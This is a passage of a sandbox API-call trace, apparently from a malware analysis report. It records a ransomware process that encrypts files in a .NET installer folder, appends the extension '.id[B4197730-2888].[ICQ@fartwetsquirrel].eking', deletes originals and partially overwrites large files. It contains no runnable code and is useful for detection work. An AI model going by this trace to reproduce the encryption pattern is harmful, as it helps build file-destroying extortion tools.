lpNumberOfBytesWritten=0x36ff804*=0x40000, lpOverlapped=0x0) returned 1 [0088.775] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f8 | out: lpNewFilePointer=0x0) returned 1 [0088.775] WriteFile (in: hFile=0x328, lpBuffer=0x3c6f14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x36ff804, lpOverlapped=0x0 | out: lpBuffer=0x3c6f14a*, lpNumberOfBytesWritten=0x36ff804*=0x40000, lpOverlapped=0x0) returned 1 [0088.784] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f8 | out: lpNewFilePointer=0x0) returned 1 [0088.784] WriteFile (in: hFile=0x328, lpBuffer=0x3c6f14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x36ff804, lpOverlapped=0x0 | out: lpBuffer=0x3c6f14a*, lpNumberOfBytesWritten=0x36ff804*=0x40000, lpOverlapped=0x0) returned 1 [0088.786] CloseHandle (hObject=0x328) returned 1 [0089.888] SetEvent (hEvent=0x2cc) returned 1 [0089.888] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0089.889] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=1163264) returned 1 [0089.890] CloseHandle (hObject=0x328) returned 1 [0089.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0089.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0089.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0089.890] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0089.890] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0089.890] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0089.890] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x33c [0089.891] ReadFile (in: hFile=0x328, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x110100, lpOverlapped=0x0) returned 1 [0089.928] WriteFile (in: hFile=0x33c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x110100, lpOverlapped=0x0) returned 1 [0090.586] ReadFile (in: hFile=0x328, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0xbf00, lpOverlapped=0x0) returned 1 [0090.588] WriteFile (in: hFile=0x33c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xbf10, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xbf10, lpOverlapped=0x0) returned 1 [0090.589] WriteFile (in: hFile=0x33c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0090.589] CloseHandle (hObject=0x328) returned 1 [0090.589] CloseHandle (hObject=0x33c) returned 1 [0090.921] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1 [0090.923] SetEvent (hEvent=0x2cc) returned 1 [0090.924] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.924] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=43131591) returned 1 [0090.925] CloseHandle (hObject=0x33c) returned 1 [0090.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0090.925] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0090.925] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.926] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0090.926] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0090.926] ReadFile (in: hFile=0x33c, lpBuffer=0x3baf058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x36ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x3baf058*, lpNumberOfBytesRead=0x36ff7fc*=0x40000, lpOverlapped=0x0) returned 1 [0090.930] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0090.930] ReadFile (in: hFile=0x33c, lpBuffer=0x3bef058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x36ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x3bef058*, lpNumberOfBytesRead=0x36ff7fc*=0x40000, lpOverlapped=0x0) returned 1 [0090.936] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0090.936] ReadFile (in: hFile=0x33c, lpBuffer=0x3c2f058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x36ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x3c2f058*, lpNumberOfBytesRead=0x36ff7fc*=0x40000, lpOverlapped=0x0) returned 1 [0091.218] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff960 | out: lpNewFilePointer=0x0) returned 1 [0091.218] WriteFile (in: hFile=0x33c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xc0112, lpOverlapped=0x0) returned 1 [0092.557] SetEndOfFile (hFile=0x33c) returned 1 [0092.558] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f8 | out: lpNewFilePointer=0x0) returned 1 [0092.558] WriteFile (in: hFile=0x33c, lpBuffer=0x3c6f14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x36ff804, lpOverlapped=0x0 | out: lpBuffer=0x3c6f14a*, lpNumberOfBytesWritten=0x36ff804*=0x40000, lpOverlapped=0x0) returned 1 [0092.560] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f8 | out: lpNewFilePointer=0x0) returned 1 [0092.560] WriteFile (in: hFile=0x33c, lpBuffer=0x3c6f14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x36ff804, lpOverlapped=0x0 | out: lpBuffer=0x3c6f14a*, lpNumberOfBytesWritten=0x36ff804*=0x40000, lpOverlapped=0x0) returned 1 [0092.561] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f8 | out: lpNewFilePointer=0x0) returned 1 [0092.561] WriteFile (in: hFile=0x33c, lpBuffer=0x3c6f14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x36ff804, lpOverlapped=0x0 | out: lpBuffer=0x3c6f14a*, lpNumberOfBytesWritten=0x36ff804*=0x40000, lpOverlapped=0x0) returned 1 [0092.563] CloseHandle (hObject=0x33c) returned 1 [0097.916] SetEvent (hEvent=0x2cc) returned 1 [0097.916] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0098.224] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=30120) returned 1 [0098.232] CloseHandle (hObject=0x334) returned 1 [0098.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0098.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0098.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0098.500] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0098.500] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0098.501] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0098.501] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x338 [0098.532] ReadFile (in: hFile=0x324, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x75a8, lpOverlapped=0x0) returned 1 [0098.537] WriteFile (in: hFile=0x338, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x75b0, lpOverlapped=0x0) returned 1 [0098.539] WriteFile (in: hFile=0x338, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0098.543] CloseHandle (hObject=0x324) returned 1 [0098.543] CloseHandle (hObject=0x338) returned 1 [0098.551] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1 [0098.553] SetEvent (hEvent=0x2cc) returned 1 [0098.553] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0098.554] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=144416) returned 1 [0098.554] CloseHandle (hObject=0x338) returned 1 [0098.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0098.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0098.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0098.554] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0098.554] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0098.554] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0098.554] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0098.557] ReadFile (in: hFile=0x338, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x23420, lpOverlapped=0x0) returned 1 [0098.800] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x23430, lpOverlapped=0x0) returned 1 [0098.828] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0098.828] CloseHandle (hObject=0x338) returned 1 [0098.828] CloseHandle (hObject=0x324) returned 1 [0098.836] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1 [0098.838] SetEvent (hEvent=0x2cc) returned 1 [0098.839] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0098.840] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=5198099) returned 1 [0098.840] CloseHandle (hObject=0x324) returned 1 [0098.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80 [0098.840] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0098.841] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0098.841] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0098.841] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0098.841] ReadFile (in: hFile=0x324, lpBuffer=0x3baf058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x36ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x3baf058*, lpNumberOfBytesRead=0x36ff7fc*=0x40000, lpOverlapped=0x0) returned 1 [0098.865] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0098.865] ReadFile (in: hFile=0x324, lpBuffer=0x3bef058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x36ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x3bef058*, lpNumberOfBytesRead=0x36ff7fc*=0x40000, lpOverlapped=0x0) returned 1 [0098.906] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0098.906] ReadFile (in: hFile=0x324, lpBuffer=0x3c2f058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x36ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x3c2f058*, lpNumberOfBytesRead=0x36ff7fc*=0x40000, lpOverlapped=0x0) returned 1 [0099.217] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff960 | out: lpNewFilePointer=0x0) returned 1 [0099.217] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xc0132, lpOverlapped=0x0) returned 1 [0099.242] SetEndOfFile (hFile=0x324) returned 1 [0099.243] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f8 | out: lpNewFilePointer=0x0) returned 1 [0099.243] WriteFile (in: hFile=0x324, lpBuffer=0x3c6f16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x36ff804, lpOverlapped=0x0 | out: lpBuffer=0x3c6f16a*, lpNumberOfBytesWritten=0x36ff804*=0x40000, lpOverlapped=0x0) returned 1 [0099.624] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f8 | out: lpNewFilePointer=0x0) returned 1 [0099.624] WriteFile (in: hFile=0x324, lpBuffer=0x3c6f16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x36ff804, lpOverlapped=0x0 | out: lpBuffer=0x3c6f16a*, lpNumberOfBytesWritten=0x36ff804*=0x40000, lpOverlapped=0x0) returned 1 [0099.626] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f8 | out: lpNewFilePointer=0x0) returned 1 [0099.626] WriteFile (in: hFile=0x324, lpBuffer=0x3c6f16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x36ff804, lpOverlapped=0x0 | out: lpBuffer=0x3c6f16a*, lpNumberOfBytesWritten=0x36ff804*=0x40000, lpOverlapped=0x0) returned 1 [0099.628] CloseHandle (hObject=0x324) returned 1 [0103.420] SetEvent (hEvent=0x2cc) returned 1 [0103.420] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0103.421] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=2141433) returned 1 [0103.421] CloseHandle (hObject=0x324) returned 1 [0103.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80 [0103.421] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0103.421] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0103.422] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0103.422] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0103.422] ReadFile (in: hFile=0x324, lpBuffer=0x3baf058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x36ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x3baf058*, lpNumberOfBytesRead=0x36ff7fc*=0x40000, lpOverlapped=0x0) returned 1 [0103.557] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0103.557] ReadFile (in: hFile=0x324, lpBuffer=0x3bef058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x36ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x3bef058*, lpNumberOfBytesRead=0x36ff7fc*=0x40000, lpOverlapped=0x0) returned 1 [0103.953] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0103.953] ReadFile (in: hFile=0x324, lpBuffer=0x3c2f058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x36ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x3c2f058*, lpNumberOfBytesRead=0x36ff7fc*=0x40000, lpOverlapped=0x0) returned 1 [0104.084] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff960 | out: lpNewFilePointer=0x0) returned 1 [0104.084] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xc0132, lpOverlapped=0x0) returned 1 [0104.496] SetEndOfFile (hFile=0x324) returned 1 [0104.497] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f8 | out: lpNewFilePointer=0x0) returned 1 [0104.497] WriteFile (in: hFile=0x324, lpBuffer=0x3c6f16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x36ff804, lpOverlapped=0x0 | out: lpBuffer=0x3c6f16a*, lpNumberOfBytesWritten=0x36ff804*=0x40000, lpOverlapped=0x0) returned 1 [0104.499] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f8 | out: lpNewFilePointer=0x0) returned 1 [0104.499] WriteFile (in: hFile=0x324, lpBuffer=0x3c6f16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x36ff804, lpOverlapped=0x0 | out: lpBuffer=0x3c6f16a*, lpNumberOfBytesWritten=0x36ff804*=0x40000, lpOverlapped=0x0) returned 1 [0104.506] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f8 | out: lpNewFilePointer=0x0) returned 1 [0104.506] WriteFile (in: hFile=0x324, lpBuffer=0x3c6f16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x36ff804, lpOverlapped=0x0 | out: lpBuffer=0x3c6f16a*, lpNumberOfBytesWritten=0x36ff804*=0x40000, lpOverlapped=0x0) returned 1 [0104.508] CloseHandle (hObject=0x324) Thread: id = 23 os_tid = 0x1304 [0075.318] GetProcessHeap () returned 0x11a0000 [0075.318] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3ac0728 [0075.318] GetProcessHeap () returned 0x11a0000 [0075.318] RtlAllocateHeap (HeapHandle=0x11a0000, 